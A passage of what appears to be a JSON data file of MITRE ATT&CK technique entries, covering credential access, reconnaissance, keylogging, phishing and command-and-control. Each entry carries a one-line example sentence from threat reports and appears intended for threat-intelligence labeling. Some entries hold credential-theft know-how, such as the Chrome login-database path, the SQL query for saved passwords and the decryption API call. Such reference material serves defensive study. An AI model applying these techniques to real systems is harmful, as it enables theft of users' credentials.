perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: Figure 8: Multiple possible skimmer domains resolving to the same IP address." + }, + { + "id": "T1090", + "text": "ATT&CK technique: T1090 Proxy\nDescription: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: *Figure 19: Communication via proxy.*" + }, + { + "id": "T1217", + "text": "ATT&CK technique: T1217 Browser Information Discovery\nDescription: Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. Browser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser. Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).\nTactics: discovery\nPlatforms: Linux, Windows, macOS\nLabeled report example: *Figure 13:Stealing browser data.*" + }, + { + "id": "T1555", + "text": "ATT&CK technique: T1555 Credentials from Password Stores\nDescription: Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nTactics: credential access\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: **Password stealer:** M00nD3V Logger has the capability to steal passwords and cookies from all possible browsers and email clients, as well as FTP clients." + }, + { + "id": "T1528", + "text": "ATT&CK technique: T1528 Steal Application Access Token\nDescription: Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS). Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment. For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands. Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication. Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token. Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens, allowing them to obtain new access tokens without prompting the user.\nTactics: credential access\nPlatforms: Containers, IaaS, Identity Provider, Office Suite, SaaS\nLabeled report example: * Stealing session files from applications, including Discord, Steam, Telegram, and Authy" + }, + { + "id": "T1113", + "text": "ATT&CK technique: T1113 Screen Capture\nDescription: Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.\nTactics: collection\nPlatforms: Linux, Windows, macOS\nLabeled report example: It also has a wide range of information-stealing abilities including browser credential theft, keylogging, screen capture, and remote enabling of webcams." + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: Users will be redirected to the main credential-phishing page after solving the captcha." + }, + { + "id": "T1573", + "text": "ATT&CK technique: T1573 Encrypted Channel\nDescription: Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: SSL inspection is advisable to detect and block such threats using SSL to hide their malicious intent." + }, + { + "id": "T1071", + "text": "ATT&CK technique: T1071 Application Layer Protocol\nDescription: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Notably, the legit DNS server acts as a proxy between the infected host and the malicious server, by making impossible for defenders the application of any filtering at the Network (L3) level." + }, + { + "id": "T1125", + "text": "ATT&CK technique: T1125 Video Capture\nDescription: An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen. In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.\nTactics: collection\nPlatforms: Linux, Windows, macOS\nLabeled report example: Aside from keystroke logging, the M00nD3VLoggerhas the ability to steal confidential information such as browser passwords, FTP client passwords, email client passwords, DynDNS credentials, JDownloader credentials and capture Windows Keystrokes, as well as gain access to the webcam and hook the clipboard." + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: The full list of web injects for this Osiris instance is shown [here](https://pastebin.com/tTxmjA1K)." + }, + { + "id": "T1115", + "text": "ATT&CK technique: T1115 Clipboard Data\nDescription: Adversaries may collect data stored in the clipboard from users copying information within or between applications. For example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard. Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., Transmitted Data Manipulation). macOS and Linux also have commands, such as pbpaste, to grab clipboard contents.\nTactics: collection\nPlatforms: Linux, Windows, macOS\nLabeled report example: Cybercriminals use this RAT to steal user credentials and spy on victims through screenshots, keyboard logging, and clipboard capturing." + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1005", + "text": "ATT&CK technique: T1005 Data from Local System\nDescription: Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.\nTactics: collection\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: * Stealing Telegram session files" + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Figure 7 shows the relevant JavaScript code and where the user’s credentials are being sent." + }, + { + "id": "T1550.004", + "text": "ATT&CK technique: T1550.004 Web Session Cookie\nDescription: Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\nTactics: lateral movement\nPlatforms: IaaS, Office Suite, SaaS" + }, + { + "id": "T1589.001", + "text": "ATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1606.001", + "text": "ATT&CK technique: T1606.001 Web Cookies\nDescription: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. Adversaries may generate these cookies in order to gain access to web resources. This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces. The generation of web cookies often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Once forged, adversaries may use these web cookies to access resources (Web Session Cookie), which may bypass multi-factor and other authentication protection mechanisms.\nTactics: credential access\nPlatforms: IaaS, Linux, SaaS, Windows, macOS" + }, + { + "id": "T1555.003", + "text": "ATT&CK technique: T1555.003 Credentials from Web Browsers\nDescription: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager. Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1040", + "text": "ATT&CK technique: T1040 Network Sniffing\nDescription: Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as Name Resolution Poisoning and SMB Relay, can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. Network sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Stealth activities. Adversaries may likely also utilize network sniffing during Adversary-in-the-Middle (AiTM) to passively gain additional knowledge about the environment. In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to. Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic. The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. On network devices, adversaries may perform network captures using Network Device CLI commands such as `monitor capture`.\nTactics: credential access, discovery\nPlatforms: IaaS, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1056.001", + "text": "ATT&CK technique: T1056.001 Keylogging\nDescription: Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems. Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include: * Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data. * Reading raw keystroke data from the hardware buffer. * Windows Registry modifications. * Custom drivers. * Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1056.004", + "text": "ATT&CK technique: T1056.004 Credential API Hooking\nDescription: Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials. Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials. In Windows, hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. In Linux and macOS, adversaries may hook into system functions via the `LD_PRELOAD` (Linux) or `DYLD_INSERT_LIBRARIES` (macOS) environment variables, which enables loading shared libraries into a program’s address space. For example, an adversary may capture credentials by hooking into the `libc read` function leveraged by SSH or SCP.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1563", + "text": "ATT&CK technique: T1563 Remote Service Session Hijacking\nDescription: Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service. Adversaries may commandeer these sessions to carry out actions on remote systems. Remote Service Session Hijacking differs from use of Remote Services because it hijacks an existing session rather than creating a new session using Valid Accounts.\nTactics: lateral movement\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1134.003", + "text": "ATT&CK technique: T1134.003 Make and Impersonate Token\nDescription: Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread. This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.\nTactics: privilege escalation, stealth\nPlatforms: Windows" + }, + { + "id": "T1111", + "text": "ATT&CK technique: T1111 Multi-Factor Authentication Interception\nDescription: Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1056.002", + "text": "ATT&CK technique: T1056.002 GUI Input Capture\nDescription: Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell). Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1596.003", + "text": "ATT&CK technique: T1596.003 Digital Certificates\nDescription: Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1212", + "text": "ATT&CK technique: T1212 Exploitation for Credential Access\nDescription: Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges. Such exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal. Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\nTactics: credential access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1552.008", + "text": "ATT&CK technique: T1552.008 Chat Messages\nDescription: Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels. Rather than accessing the stored chat logs (i.e., Credentials In Files), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation .\nTactics: credential access\nPlatforms: Office Suite, SaaS" + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1659", + "text": "ATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1556", + "text": "ATT&CK technique: T1556 Modify Authentication Process\nDescription: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts. Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.\nTactics: credential access, defense impairment, persistence\nPlatforms: IaaS, Identity Provider, Linux, 